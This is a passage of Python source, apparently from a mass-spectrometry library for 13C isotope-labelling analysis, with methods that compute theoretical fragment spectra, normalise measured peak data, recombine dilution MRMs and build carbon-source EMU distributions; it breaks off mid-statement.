def compare_peakSpectrum_normSum(self,peakSpectrum_normalized_list_I,return_theoretical = False): # Input: # peakSpectrum_normalized_list_I = [{fragment:{mass:[measuredMass,intensity]}}] # Output: # peakSpectrum_stats_O = {fragment:{mass:{'n':integer, # 'mean':fraction, # 'stdDev':fraction, # 'absDev':fraction}} fragments_all = []; for row in peakSpectrum_normalized_list_I: fragments_all.extend(list(row.keys())); fragments_I = list(set(fragments_all)); #fragments_I = peakSpectrum_normalized_list_I[0].keys(); peakSpectrum_theoretical = self.report_fragmentSpectrum_normSum(fragments_I,True); peakSpectrum_stats_O = {}; for frag in fragments_I: peakSpectrum_stats_O[frag] = {'n':None, 'mean':None, 'stdDev':None, 'absDev':None}; if not peakSpectrum_theoretical[frag]: continue; # no carbons in fragment intensityList = []; masses = []; stats = {}; for peakSpectrum in peakSpectrum_normalized_list_I: intensityDict = {}; peakSpectrumMasses = list(peakSpectrum_theoretical[frag].keys()); for mass in peakSpectrumMasses: if frag in peakSpectrum and frag in peakSpectrum and mass in peakSpectrum[frag] and peakSpectrum[frag][mass] > 0.0: intensityDict[mass] = peakSpectrum[frag][mass]; else: intensityDict[mass] = 0.0; if not mass in masses: masses.append(mass); intensityList.append(intensityDict); ## uncomment to only compare measured masses #intensityDict = {}; #peakSpectrumMasses = peakSpectrum[frag].keys(); #for mass in peakSpectrumMasses: # if peakSpectrum[frag][mass] > 0.0: # intensityDict[mass] = peakSpectrum[frag][mass]; # if not mass in masses: masses.append(mass); #intensityList.append(intensityDict); for mass in masses: stats[mass] = None; data = []; for intensity in intensityList: if intensity[mass]>0.0:data.append(intensity[mass]); if data: intensity_array = numpy.array(data); if peakSpectrum_theoretical[frag][mass]:abs_dev = abs(intensity_array.mean() - peakSpectrum_theoretical[frag][mass]); else: abs_dev = None; stats[mass] = {'n':len(intensity_array), 'mean':intensity_array.mean(), 'stdDev':intensity_array.std(), 'absDev':abs_dev}; else: stats[mass] = {'n':0.0, 'mean':0.0, 'stdDev':0.0, 'absDev':None}; if stats: peakSpectrum_stats_O[frag] = stats; if return_theoretical: return peakSpectrum_stats_O,peakSpectrum_theoretical; else: return peakSpectrum_stats_O; def report_fragmentSpectrum_normMax(self,fragments_I,round_mass=False): '''calculate the format spectrum as a list''' # Input: formula_str_I # Output: spectrum_lst_O fragmentSpectrum_tmp = {}; fragmentSpectrum_O = {}; for formula_str_I in fragments_I: fragmentSpectrum_tmp[formula_str_I] = None; fragmentSpectrum_O[formula_str_I] = None; formula_str = re.sub('[+-]', '', formula_str_I); n12C = 0 n13C = 0 if 'C' not in Formula(formula_str)._elements: continue; #check if a carbon is even contained in the formula if 0 in Formula(formula_str)._elements['C']: n12C += Formula(formula_str)._elements['C'][0]; #get the # of Carbons if 13 in Formula(formula_str)._elements['C']: n13C += Formula(formula_str)._elements['C'][13] mnumber = Formula(formula_str).isotope.massnumber #get the nominal mass number spectrum = Formula(formula_str).spectrum() #get the spectrum fragmentSpectrum = {} intensityList = []; for c in range(-n13C, n12C + 1): if c<0: fragmentSpectrum[Formula(formula_str).isotope.mass-1]=0.0; intensityList.append(0.0); else: if mnumber+c in spectrum: fragmentSpectrum[spectrum[mnumber+c][0]]=spectrum[mnumber+c][1]; intensityList.append(spectrum[mnumber+c][1]); else: fragmentSpectrum[Formula(formula_str).isotope.mass + c]=0.0; intensityList.append(0.0); fragmentSpectrum_tmp[formula_str_I] = fragmentSpectrum; # by default, the spectrum is normalized to the sum of all intensities measured # convert sum-normalized spectrum to max-normalized spectrum intensityListMax = max(intensityList); fragmentSpectrum = {}; for k,v in fragmentSpectrum_tmp[formula_str_I].items(): if round_mass: fragmentSpectrum[int(numpy.round(k))] = v/intensityListMax; else: fragmentSpectrum[k] = v/intensityListMax; fragmentSpectrum_O[formula_str_I] = fragmentSpectrum; return fragmentSpectrum_O; def report_fragmentSpectrum_normSum(self,fragments_I,round_mass=False): '''calculate the fragment spectrum''' # Input: formula_str_I # Output: spectrum_lst_O fragmentSpectrum_O = {}; for formula_str_I in fragments_I: fragmentSpectrum_O[formula_str_I] = None; formula_str = re.sub('[+-]', '', formula_str_I); n12C = 0 n13C = 0 if 'C' not in Formula(formula_str)._elements: break; #check if a carbon is even contained in the formula if 0 in Formula(formula_str)._elements['C']: n12C += Formula(formula_str)._elements['C'][0]; #get the # of Carbons if 13 in Formula(formula_str)._elements['C']: n13C += Formula(formula_str)._elements['C'][13] mnumber = Formula(formula_str).isotope.massnumber #get the nominal mass number spectrum = Formula(formula_str).spectrum() #get the spectrum fragmentSpectrum = {} for c in range(-n13C, n12C + 1): if c<0: exact_mass = Formula(formula_str).isotope.mass+c; if round_mass: fragmentSpectrum[int(numpy.round(exact_mass))]=0.0; else: fragmentSpectrum[exact_mass]=0.0; else: if mnumber+c in spectrum: exact_mass = spectrum[mnumber+c][0]; if round_mass: fragmentSpectrum[int(numpy.round(exact_mass))]=spectrum[mnumber+c][1]; else: fragmentSpectrum[exact_mass]=spectrum[mnumber+c][1]; else: exact_mass = Formula(formula_str).isotope.mass + c if round_mass: fragmentSpectrum[int(numpy.round(exact_mass))]=0.0; else: fragmentSpectrum[exact_mass]=0.0; fragmentSpectrum_O[formula_str_I] = fragmentSpectrum; return fragmentSpectrum_O; def extract_peakData_normMax(self, peakData_I, fragments_I, res_I=0.3, round_mass=False): '''extract maximum intensity peak''' # Input: peakData_I = mass:intensity # res_I = mass window/resolution (default = 0.3); # Output: # peakSpectrum_theoretical = {fragment:{mass:intensity}} # peakSpectrum_measured = {fragment:{mass:intensity}} # peakSpectrum_corrected = {fragment:{mass:intensity}} # peakSpectrum_normalized = {fragment:{mass:intensity}} '''The algorithm implement below does not track the peak width for calculation of peak area, nor for calculate of resolution using FWHM. However, compared to peak-picking algorithm implemented in analyst(r) and peakView(r), the intensities for most compounds match the intensities calculated as peaks (compare 140228_MRM_EPI/..._EPI to ..._EPI_peakList or 140228_ER_EPI/...I to ..._ER).''' # min peak height detectionThreshold = 2500.0 # pre-sort for efficiency # sort masses in peakData keys = list(peakData_I.keys()); keys.sort(); # determine baseline intensity # based on the most occuring intensity (background threshold); values = numpy.array(list(peakData_I.values())); values_median = mode(values)[0]; if len(values_median) > 1: baseline = float(max(values_median)); # min returned too much junk else: baseline = float(values_median); if round_mass: peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I,True); else: peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I); # determine masses from fragments masses = []; peakSpectrum_measured_qcqa = {}; peakSpectrum_normalized_qcqa = {}; peakSpectrum_corrected_qcqa = {}; peakSpectrum_measured = {}; peakSpectrum_normalized = {}; peakSpectrum_corrected = {}; for frag,spec in peakSpectrum_theoretical.items(): peakSpectrum_measured_qcqa[frag] = None; peakSpectrum_corrected_qcqa[frag] = None; peakSpectrum_normalized_qcqa[frag] = None; peakSpectrum_measured[frag] = None; peakSpectrum_corrected[frag] = None; peakSpectrum_normalized[frag] = None; if not spec: continue; #check if a carbon is even contained in the fragment masses = list(spec.keys()); masses.sort(); # sort mass in massList keyIndex = 0; keyMax = len(keys); measured_qcqa = {}; measured = {}; for mass in masses: # iterate through each mass maxPeak = 0.0; keyMaxPeak = None; measured_qcqa[mass] = [keyMaxPeak,maxPeak]; measured[mass] = maxPeak; while keyIndex<keyMax: if keys[keyIndex] >= mass - res_I and keys[keyIndex] < mass + res_I: peak = peakData_I[keys[keyIndex]]; if peak > maxPeak: maxPeak = peak; keyMaxPeak = keys[keyIndex]; keyIndex += 1; elif keys[keyIndex] < mass - res_I: keyIndex += 1; continue; elif keys[keyIndex] >= mass + res_I: measured_qcqa[mass] = [keyMaxPeak,maxPeak]; measured[mass] = maxPeak; break; if measured: peakSpectrum_measured_qcqa[frag] = measured_qcqa; peakSpectrum_measured[frag] = measured; else: break #no peaks were found for the fragment # correct intensity for background: corrected_qcqa = {}; #intensityList = []; for k,v in peakSpectrum_measured_qcqa[frag].items(): if v[1] > detectionThreshold: if v[1] - baseline > 0.0: corrected_qcqa[k] = [v[0],v[1] - baseline]; else: corrected_qcqa[k] = [v[0],0.0]; else: corrected_qcqa[k] = [v[0],0.0]; #intensityList.append(corrected_qcqa[k][1]); peakSpectrum_corrected_qcqa[frag] = corrected_qcqa corrected = {}; intensityList = []; for k,v in peakSpectrum_measured[frag].items(): if v > detectionThreshold: if v - baseline > 0.0: corrected[k] = v - baseline; else: corrected[k] = 0.0; intensityList.append(corrected[k]); else: corrected[k] = 0.0; intensityList.append(corrected[k]); peakSpectrum_corrected[frag] = corrected; # normalize each spectrum: normalized_qcqa = {}; intensityListMax_qcqa = max(intensityList); for k,v in peakSpectrum_corrected_qcqa[frag].items(): if intensityListMax_qcqa != 0: normalized_qcqa[k] = [v[0],v[1]/intensityListMax_qcqa]; else: normalized_qcqa[k] = [v[0], None]; peakSpectrum_normalized_qcqa[frag] = normalized_qcqa; normalized = {}; intensityListMax = max(intensityList); for k,v in peakSpectrum_corrected[frag].items(): if intensityListMax != 0: normalized[k] = v/intensityListMax; else: normalized[k] = None; peakSpectrum_normalized[frag] = normalized; return peakSpectrum_measured, peakSpectrum_corrected, peakSpectrum_normalized; def extract_peakData_normSum(self, peakData_I, fragments_I, res_I=0.3,round_mass=False): '''extract maximum intensity peak''' # Input: peakData_I = mass:intensity # res_I = mass window/resolution (default = 0.3); # Output: # peakSpectrum_theoretical = {fragment:{mass:intensity}} # peakSpectrum_measured = {fragment:{mass:intensity}} # peakSpectrum_corrected = {fragment:{mass:intensity}} # peakSpectrum_normalized = {fragment:{mass:intensity}} # min peak height detectionThreshold = 1000.0 # pre-sort for efficiency # sort masses in peakData keys = list(peakData_I.keys()); keys.sort(); # determine baseline intensity # based on the most occuring intensity (background threshold); values = numpy.array(list(peakData_I.values())); values_median = mode(values)[0]; if len(values_median) > 1: baseline = float(max(values_median)); # min returned too much junk else: baseline = float(values_median); if round_mass: peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I,True); else: peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I); # determine masses from fragments masses = []; peakSpectrum_measured_qcqa = {}; peakSpectrum_normalized_qcqa = {}; peakSpectrum_corrected_qcqa = {}; peakSpectrum_measured = {}; peakSpectrum_normalized = {}; peakSpectrum_corrected = {}; for frag,spec in peakSpectrum_theoretical.items(): peakSpectrum_measured_qcqa[frag] = None; peakSpectrum_corrected_qcqa[frag] = None; peakSpectrum_normalized_qcqa[frag] = None; peakSpectrum_measured[frag] = None; peakSpectrum_corrected[frag] = None; peakSpectrum_normalized[frag] = None; if not spec: continue; #check if a carbon is even contained in the fragment masses = list(spec.keys()); masses.sort(); # sort mass in massList keyIndex = 0; keyMax = len(keys); measured_qcqa = {}; measured = {}; for mass in masses: # iterate through each mass maxPeak = 0.0; keyMaxPeak = None; measured_qcqa[mass] = [keyMaxPeak,maxPeak]; measured[mass] = maxPeak; while keyIndex<keyMax: if keys[keyIndex] >= mass - res_I and keys[keyIndex] < mass + res_I: peak = peakData_I[keys[keyIndex]]; if peak > maxPeak: maxPeak = peak; keyMaxPeak = keys[keyIndex]; keyIndex += 1; elif keys[keyIndex] < mass - res_I: keyIndex += 1; continue; elif keys[keyIndex] >= mass + res_I: measured_qcqa[mass] = [keyMaxPeak,maxPeak]; measured[mass] = maxPeak; break; if measured: peakSpectrum_measured_qcqa[frag] = measured_qcqa; peakSpectrum_measured[frag] = measured; else: break #no peaks were found for the fragment # correct intensity for background: corrected_qcqa = {}; #intensityList = []; for k,v in peakSpectrum_measured_qcqa[frag].items(): if v[1] > detectionThreshold: if v[1] - baseline > 0.0: corrected_qcqa[k] = [v[0],v[1] - baseline]; else: corrected_qcqa[k] = [v[0],0.0]; else: corrected_qcqa[k] = [v[0],0.0]; #intensityList.append(corrected_qcqa[k][1]); peakSpectrum_corrected_qcqa[frag] = corrected_qcqa corrected = {}; intensityList = []; for k,v in peakSpectrum_measured[frag].items(): if v > detectionThreshold: if v - baseline > 0.0: corrected[k] = v - baseline; else: corrected[k] = 0.0; intensityList.append(corrected[k]); else: corrected[k] = 0.0; intensityList.append(corrected[k]); peakSpectrum_corrected[frag] = corrected; # normalize each spectrum: normalized_qcqa = {}; intensityListSum_qcqa = sum(intensityList); for k,v in peakSpectrum_corrected_qcqa[frag].items(): if intensityListSum_qcqa != 0: normalized_qcqa[k] = [v[0],v[1]/intensityListSum_qcqa]; else: normalized_qcqa[k] = [v[0], None]; peakSpectrum_normalized_qcqa[frag] = normalized_qcqa; normalized = {}; intensityListSum = sum(intensityList); for k,v in peakSpectrum_corrected[frag].items(): if intensityListSum != 0: normalized[k] = v/intensityListSum; else: normalized[k] = None; peakSpectrum_normalized[frag] = normalized; return peakSpectrum_measured, peakSpectrum_corrected, peakSpectrum_normalized; def extract_peakList_normMax(self, peakSpectrum_I, fragments_I, round_mass=False): '''extract peak spectrum from peak list''' # Input: # peakSpectrum_I = {fragment:{(precursor_mass,product_mass):intensity}} # fragments_I = [fragments] # Output: # peakSpectrum_corrected = {fragment:{mass:intensity}} # peakSpectrum_normalized = {fragment:{mass:intensity}} # round all precursor/product masses in input for comparison: peakSpectrum_copy_I = {}; for frag,spec in peakSpectrum_I.items(): peakSpectrum_tmp = {}; for masses,intensity in spec.items(): peakSpectrum_tmp[numpy.around(masses)] = intensity; peakSpectrum_copy_I[frag] = peakSpectrum_tmp; if round_mass: peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I,True); else: peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I); # determine masses from fragments masses = []; peakSpectrum_normalized = {}; peakSpectrum_corrected = {}; for frag,spec in peakSpectrum_theoretical.items(): peakSpectrum_corrected[frag] = None; peakSpectrum_normalized[frag] = None; if not spec: continue; #check if a carbon is even contained in the fragment masses = list(spec.keys()); masses.sort(); # sort mass in massList masses_rounded = numpy.around(masses); # round masses to nearest digit for comparison # 1. copy data from peakSpectrum_I to peakSpectrum_corrected based on theoretical fragments intensityList = []; if frag in peakSpectrum_I: fragment_masses = [k for k in peakSpectrum_copy_I[frag].keys()]; corrected_spec = {}; for i,mass in enumerate(masses_rounded): corrected = 0.0; if mass in fragment_masses: corrected = peakSpectrum_copy_I[frag][mass]; corrected_spec[masses[i]] = corrected; intensityList.append(corrected); peakSpectrum_corrected[frag] = corrected_spec; else: corrected_spec = {}; for i,mass in enumerate(masses_rounded): corrected = 0.0; corrected_spec[masses[i]] = corrected; intensityList.append(corrected); peakSpectrum_corrected[frag] = corrected_spec; # normalize each spectrum: #NOTE: normalization by max to allow for later conversion to normalization by sum normalized = {}; intensityListMax = max(intensityList); for k,v in peakSpectrum_corrected[frag].items(): if v: if intensityListMax != 0: normalized[k] = v/intensityListMax; else: normalized[k] = None; else: normalized[k] = None; peakSpectrum_normalized[frag] = normalized; return peakSpectrum_corrected, peakSpectrum_normalized; def extract_peakList_normSum(self, peakSpectrum_I, fragments_I, round_mass=False): '''extract peak spectrum from peak list''' # Input: # peakSpectrum_I = {fragment:{mass:intensity}} # fragments_I = [fragments] # Output: # peakSpectrum_corrected = {fragment:{mass:intensity}} # peakSpectrum_normalized = {fragment:{mass:intensity}} # round all precursor/product masses in input for comparison: peakSpectrum_copy_I = {}; for frag,spec in peakSpectrum_I.items(): peakSpectrum_tmp = {}; for masses,intensity in spec.items(): peakSpectrum_tmp[numpy.around(masses)] = intensity; peakSpectrum_copy_I[frag] = peakSpectrum_tmp; if round_mass: peakSpectrum_theoretical = self.report_fragmentSpectrum_normSum(fragments_I,True); else: peakSpectrum_theoretical = self.report_fragmentSpectrum_normSum(fragments_I); # determine masses from fragments masses = []; peakSpectrum_normalized = {}; peakSpectrum_corrected = {}; for frag,spec in peakSpectrum_theoretical.items(): peakSpectrum_corrected[frag] = None; peakSpectrum_normalized[frag] = None; if not spec: continue; #check if a carbon is even contained in the fragment masses = list(spec.keys()); masses.sort(); # sort mass in massList masses_rounded = numpy.around(masses); # round masses to nearest digit for comparison # 1. copy data from peakSpectrum_I to peakSpectrum_corrected based on theoretical fragments intensityList = []; if frag in peakSpectrum_I: fragment_masses = [k for k in peakSpectrum_copy_I[frag].keys()]; corrected_spec = {}; for i,mass in enumerate(masses_rounded): corrected = 0.0; if mass in fragment_masses and peakSpectrum_copy_I[frag][mass]: corrected = peakSpectrum_copy_I[frag][mass]; corrected_spec[masses[i]] = corrected; intensityList.append(corrected); peakSpectrum_corrected[frag] = corrected_spec; else: corrected_spec = {}; for i,mass in enumerate(masses_rounded): corrected = 0.0; corrected_spec[masses[i]] = corrected; intensityList.append(corrected); peakSpectrum_corrected[frag] = corrected_spec; # normalize each spectrum: normalized = {}; intensityListSum = sum(intensityList); for k,v in peakSpectrum_corrected[frag].items(): if v>0.0: if intensityListSum != 0: normalized[k] = v/intensityListSum; else: normalized[k] = None; else: normalized[k] = None; peakSpectrum_normalized[frag] = normalized; return peakSpectrum_corrected, peakSpectrum_normalized; def recombine_dilutionsMRMs(self,peakData_I): '''Method to "recombine" MRMs from one dilution to the next''' # input: peakData_I = {frag:[mass:{'intensity':intensity, # 'dilution':dilution, # 'used_':used_, # 'comment_':comment_}]} # e.g.: {frag:[100:{'dilution':'high',...}], # [101:{'dilution':'low','comment_':'Recombine',...}], # [101:{'dilution':'high','comment_':'Recombine',...}], # [102:{'dilution':'low','comment_':'Recombine',...}], # [103:{'dilution':'low',...}],...} # NOTE: dictionary > List of dictionaries # NOTE: input list of masses must be sorted in ascending order # followed by 'dilutions' in descending order as shown below! # output: peakData_O = {frag:{mass:{'intensity':intensity, # 'dilution':dilution, # 'used_':used_, # 'comment_':comment_}}} # peakData_O_false = {frag:{mass:{'intensity':intensity, # 'dilution':dilution, # 'used_':used_, # 'comment_':comment_}}} # Note: second output structure needed to update rows that are changed to false '''Algorithm: start: dilution m comment used 'low' 0 '' false 'high' 0 '' true 'low' 1 'Recombine' true 'high' 1 'Recombine' true 'low' 2 'Recombine' true 'high' 2 '' false 'low' 3 '' true 'high' 3 '' false recombine... end: dilution m comment used 'low' 0 '' false 'high' 0 '' true 'low' 1 'Recombine' false 'high' 1 'Recombine' true 'low' 2 'Recombine' true 'high' 2 '' false 'low' 3 '' true 'high' 3 '' false ... done prior: set normalized intensity to diluion 'low', m 1 to 1; recalculate the rest of the normalized intensities for the dilutions 'low', m 2,3,4,...; calculate the percent change from dilution 'low', m 1 to dilution 'low', m 2; from dilution 'low', m 2 to dilution 'low', m 3; ...; replace dilution 'high', m 2 with the normalized intensity for dilution 'low', m 1 - the percent change from dilution 'low', m 1 to dilution 'low', m 2; replace dilution 'low', m 3 with the new normalized intensity for m 2 - the percent change from dilution 'low', m 2 to dilution 'low', m 3; ...;''' peakData_O = {}; peakData_O_false = {}; #iterate through each fragment for frag,spec in peakData_I.items(): peakData_O[frag] = None; peakData_O_false[frag] = None; spec_O = {}; spec_O_false = {}; if not spec: continue; #check if there is data for the fragment # extract out dilutions dilutions = []; for d in spec: values = list(d.values())[0]; dilutions.append(values['dilution']); dilutions = list(set(dilutions)); dilutions.sort(); dilutions_dict = dict(list(zip(dilutions,['low','high']))); #iterate through each spectrum intensity_prev = 0.0 intensity_new = 0.0; intensity_difference = 0.0; recombine_cnt = 0; for spec_dict in spec: mass = list(spec_dict.keys())[0]; data = list(spec_dict.values())[0]; spec_O[mass] = None; data_O = {}; if not data['intensity']: data_O['dilution'] = None; data_O['intensity'] = None; data_O['comment_'] = None; data_O['used_'] = None; spec_O[mass] = data_O; continue; if data['comment_'] == 'Recombine': if recombine_cnt == 0: # 1st recombination event if dilutions_dict[data['dilution']] != 'low': print('bad input'); intensity_prev = data['intensity']; data['used_'] = False; # copy the data data_O['dilution'] = data['dilution']; data_O['intensity'] = data['intensity']; data_O['comment_'] = data['comment_']; data_O['used_'] = data['used_']; spec_O_false[mass] = data_O; recombine_cnt += 1; continue elif recombine_cnt == 1: # 2nd recombination event if dilutions_dict[data['dilution']] != 'high': print('bad input'); intensity_new = data['intensity']; recombine_cnt += 1; elif recombine_cnt == 2: # 3rd recombination event if dilutions_dict[data['dilution']] != 'low': print('bad input'); intensity_difference = data['intensity']/intensity_prev; intensity_prev = data['intensity']; intensity_new = intensity_new*intensity_difference; data['intensity'] = intensity_new; recombine_cnt += 1; elif recombine_cnt >= 3: if dilutions_dict[data['dilution']] != 'low': print('bad input'); intensity_difference = data['intensity']/intensity_prev; intensity_prev = data['intensity']; intensity_new = intensity_new*intensity_difference; data['intensity'] = intensity_new; recombine_cnt += 1; # copy data data_O['dilution'] = data['dilution']; data_O['intensity'] = data['intensity']; data_O['comment_'] = data['comment_']; data_O['used_'] = data['used_']; spec_O[mass] = data_O; # copy spectrum peakData_O[frag] = spec_O peakData_O_false[frag] = spec_O_false #copy out the intensities without the comments peakData_intensities_O = {}; for frag,spec in peakData_O.items(): spec_tmp = {}; for mass,v in spec.items(): spec_tmp[mass]=v['intensity']; peakData_intensities_O[frag] = spec_tmp; return peakData_O,peakData_O_false,peakData_intensities_O; def normalize_peakSpectrum_normMax(self,peakSpectrum_I,scalingFactors_I): '''normalize peakSpectrum taken from different m+0, m+1, ... fragments using a reference scaling factor''' # Input: # peakSpectrum_I = {precursor_fragment:{product_fragment:{product_mass:intensity}}} # scalingFactors_I = {precursor_fragment:intensity} # Output: # peakSpectrum_normalized = {product_fragment:{mass:intensity}} '''Algorithm: part 1: scale for each precursor i: for each product j in precursor i: for each mass m in product j: peakSpectrum[precursor_i][product_j][m]*scalingFactor[precursor_i] part 2: reduce: for each product j in all precursors: for each mass in product j: for each precursor i with product j: peakSpectrum_O[product_j][m] += peakSpectrum[precursor_i][product_j][m]*scalingFactor[precursor_i] ''' precursor_fragments_I = list(peakSpectrum_I.keys()); precursorSpectrum_dict = {}; product_fragments_all = []; product_mass_all = []; # iterate through each precursor fragment for precursor in precursor_fragments_I: product_fragments_I = list(peakSpectrum_I[precursor].keys()); productSpectrum_dict = {}; product_fragments_all.extend(product_fragments_I); # iterate through each product fragment for product in product_fragments_I: spectrum_dict = {}; product_mass_dict = {}; product_mass_tmp = []; # iterate through each mass for k,v in peakSpectrum_I[precursor][product].items(): if peakSpectrum_I[precursor][product][k]: spectrum_dict[k] = peakSpectrum_I[precursor][product][k]*scalingFactors_I[precursor]; else: spectrum_dict[k] = 0.0; product_mass_tmp.append(k); productSpectrum_dict[product] = spectrum_dict; product_mass_dict[product] = product_mass_tmp; product_mass_all.append(product_mass_dict); precursorSpectrum_dict[precursor] = productSpectrum_dict # reduce product fragments list product_fragments_reduced = list(set(product_fragments_all)); # reduce product masses product_mass_combined = {}; product_mass_reduced = {}; for product in product_fragments_all: product_mass_combined[product] = []; for product_mass in product_mass_all: if product in product_mass: product_mass_combined[product].extend(product_mass[product]); product_mass_reduced[product] = list(set(product_mass_combined[product])); peakSpectrum_normalized_O = {}; # iterate through all common product fragments for product in product_fragments_reduced: peakSpectrum_normalized_O[product] = None; peakSpectrum_normalized_tmp = {}; # iterate through each mass for mass in product_mass_reduced[product]: peakSpectrum_normalized_tmp[mass] = 0.0; # iterate through each precursor for precursor in precursor_fragments_I: if product in precursorSpectrum_dict[precursor]: if mass in precursorSpectrum_dict[precursor][product]: peakSpectrum_normalized_tmp[mass] += precursorSpectrum_dict[precursor][product][mass] else: peakSpectrum_normalized_tmp[mass] += 0.0; else: peakSpectrum_normalized_tmp[mass] += 0.0; peakSpectrum_normalized_O[product] = peakSpectrum_normalized_tmp; # re-normalize the spectrum to max-normalized spectrum intensityListMax = {}; peakSpectrum_normalized_O_max = {}; for product,spec in peakSpectrum_normalized_O.items(): intensityList = []; for mass,intensity in spec.items(): intensityList.append(intensity); intensityListMax = max(intensityList); fragmentSpectrum = {}; for mass,intensity in spec.items(): if intensityListMax != 0.0: fragmentSpectrum[mass] = intensity/intensityListMax; else: fragmentSpectrum[mass] = 0.0; peakSpectrum_normalized_O_max[product] = fragmentSpectrum; return peakSpectrum_normalized_O_max def calculate_fragmentSpectrumAccuracy(self, peakSpectrum_normalized_list_I): '''calculate the accuracy from the normalized intensity''' # Input: # peakSpectrum_normalized_list_I = [{fragment:{mass:intensity}}] # Output: # peakSpectrum_accuracy_O = {fragment:float}; fragments_I = list(peakSpectrum_normalized_list_I[0].keys()); peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax(fragments_I,True); peakSpectrum_accuracy_O = {}; for frag in fragments_I: peakSpectrum_accuracy_O[frag] = None; if not peakSpectrum_theoretical[frag]: continue; # no carbons in fragment intensityList = []; masses = []; for peakSpectrum in peakSpectrum_normalized_list_I: intensityDict = {}; peakSpectrumMasses = list(peakSpectrum_theoretical[frag].keys()); for mass in peakSpectrumMasses: if frag in peakSpectrum and mass in peakSpectrum[frag] and peakSpectrum[frag][mass] > 0.0: intensityDict[mass] = peakSpectrum[frag][mass]; else: intensityDict[mass] = 0.0; if not mass in masses: masses.append(mass); intensityList.append(intensityDict); ## uncomment to only compare measured masses #intensityDict = {}; #peakSpectrumMasses = peakSpectrum[frag].keys(); #for mass in peakSpectrumMasses: # if peakSpectrum[frag][mass] > 0.0: # intensityDict[mass] = peakSpectrum[frag][mass]; # if not mass in masses: masses.append(mass); #intensityList.append(intensityDict); accuracyLst = []; for mass in masses: data = []; for intensity in intensityList: if intensity[mass]>=0.0:data.append(intensity[mass]); if data and peakSpectrum_theoretical[frag][mass]: intensity_array = numpy.array(data); accuracyLst.append(abs(intensity_array.mean() - peakSpectrum_theoretical[frag][mass])) accuracyLstMean = None; if accuracyLst: accuracyLstMean = numpy.mean(accuracyLst); peakSpectrum_accuracy_O[frag] = accuracyLstMean; else: peakSpectrum_accuracy_O[frag] = None; return peakSpectrum_accuracy_O; def calculate_fragmentSpectrumAccuracy_normSum(self, peakSpectrum_normalized_list_I): '''calculate the accuracy from the normalized intensity''' # Input: # peakSpectrum_normalized_list_I = [{fragment:{mass:intensity}}] # Output: # peakSpectrum_accuracy_O = {fragment:float}; fragments_I = list(peakSpectrum_normalized_list_I[0].keys()); peakSpectrum_theoretical = self.report_fragmentSpectrum_normSum(fragments_I,True); peakSpectrum_accuracy_O = {}; for frag in fragments_I: peakSpectrum_accuracy_O[frag] = None; if not peakSpectrum_theoretical[frag]: continue; # no carbons in fragment intensityList = []; masses = []; for peakSpectrum in peakSpectrum_normalized_list_I: intensityDict = {}; peakSpectrumMasses = list(peakSpectrum_theoretical[frag].keys()); for mass in peakSpectrumMasses: if frag in peakSpectrum and mass in peakSpectrum[frag] and peakSpectrum[frag][mass] > 0.0: intensityDict[mass] = peakSpectrum[frag][mass]; else: intensityDict[mass] = 0.0; if not mass in masses: masses.append(mass); intensityList.append(intensityDict); ## uncomment to only compare measured masses #intensityDict = {}; #peakSpectrumMasses = peakSpectrum[frag].keys(); #for mass in peakSpectrumMasses: # if peakSpectrum[frag][mass] > 0.0: # intensityDict[mass] = peakSpectrum[frag][mass]; # if not mass in masses: masses.append(mass); #intensityList.append(intensityDict); accuracyLst = []; for mass in masses: data = []; for intensity in intensityList: if intensity[mass]>=0.0:data.append(intensity[mass]); if data and peakSpectrum_theoretical[frag][mass]: intensity_array = numpy.array(data); accuracyLst.append(abs(intensity_array.mean() - peakSpectrum_theoretical[frag][mass])) accuracyLstMean = None; if accuracyLst: accuracyLstMean = numpy.mean(accuracyLst); peakSpectrum_accuracy_O[frag] = accuracyLstMean; else: peakSpectrum_accuracy_O[frag] = None; return peakSpectrum_accuracy_O; def make_CSourceMix(self,csources_I, composition_I): '''Make a carbon source mix of a specified composition''' # Input: (e.g. 80/20 1-13C/U-13C glc) # csources_I = backbone of the csources [['[13C]HO','CH2O','CH2O','CH2O','CH2O','CH3O'], # ['[13C]HO','[13C]H2O','[13C]H2O','[13C]H2O','[13C]H2O','[13C]H3O']] # composition_I = composition csources [0.8,0.2] # Output: # emu_O = {strings of emu distribution: spectral list} emu_O = {}; emu_all = []; ncsources = len(csources_I) for cs in csources_I: emu_tmp = {}; emu_tmp = self.make_EMUDistributionAndCSpectra(cs) emu_all.append(emu_tmp); for k in list(emu_all[0].keys()): spectra_tmp = []; spectra_tmp = [0.0]*len(emu_all[0][k]) for i in range(ncsources): for j in range(len(emu_all[i][k])): spectra_tmp[j] += composition_I[i]*emu_all[i][k][j]; emu_O[k] = spectra_tmp; return emu_O; def make_EMUDistributionAndCSpectra(self,csource_I): '''Make EMU distribution based on the carbon source''' # Input: # csource_I = carbon backbone of the csource # e.g. 1-13C glc = ['[13C]HO','CH2','CH2','CH2','CH2','CH3O'] # U-13C glc = ['[13C]HO','[13C]H2O','[13C]H2O','[13C]H2O','[13C]H2O','[13C]H3O'] # glc = ['CHO','CH2O','CH2O','CH2O','CH2O','CH3O'] # Output: # emu_O = {strings of emu distribution: spectral list} nC = len(csource_I) emu_O = {}; # iterate through each carbon and change from 0 to 1 emu_c = nC*'0'; #intialize emu_lst = list(emu_c); for j in range(nC): emu_lst[j] = '1' for c in range(j,nC): emu_lst_2 = copy.copy(emu_lst) emu_lst_2[j] = '0'; emu_lst_2[c] = '1'; emu_tmp = copy.copy(emu_lst_2); cfrag = []; for i in range(c,nC): emu_tmp[c] = '0'; emu_tmp[i] = '1'; emu_str = 'x' + ''.join(emu_tmp) dfrag = [csource_I[p] for p,n in enumerate(emu_tmp) if n=='1'] dfrag_tmp = ''.join(dfrag) #if emu_str.find('0')==-1: #ignore the fully labeled fragment # continue; spectrum_tmp = self.report_fragmentSpectrum_normSum([dfrag_tmp],round_mass=True) # format from dict into a list: spectrum_tmp_lst = []; spectrum_masses_lst = []; for k,v in spectrum_tmp[dfrag_tmp].items(): spectrum_masses_lst.append(k); spectrum_masses_lst.sort(); for k in spectrum_masses_lst: spectrum_tmp_lst.append(spectrum_tmp[dfrag_tmp][k]); emu_O[emu_str] = spectrum_tmp_lst; emu_c = 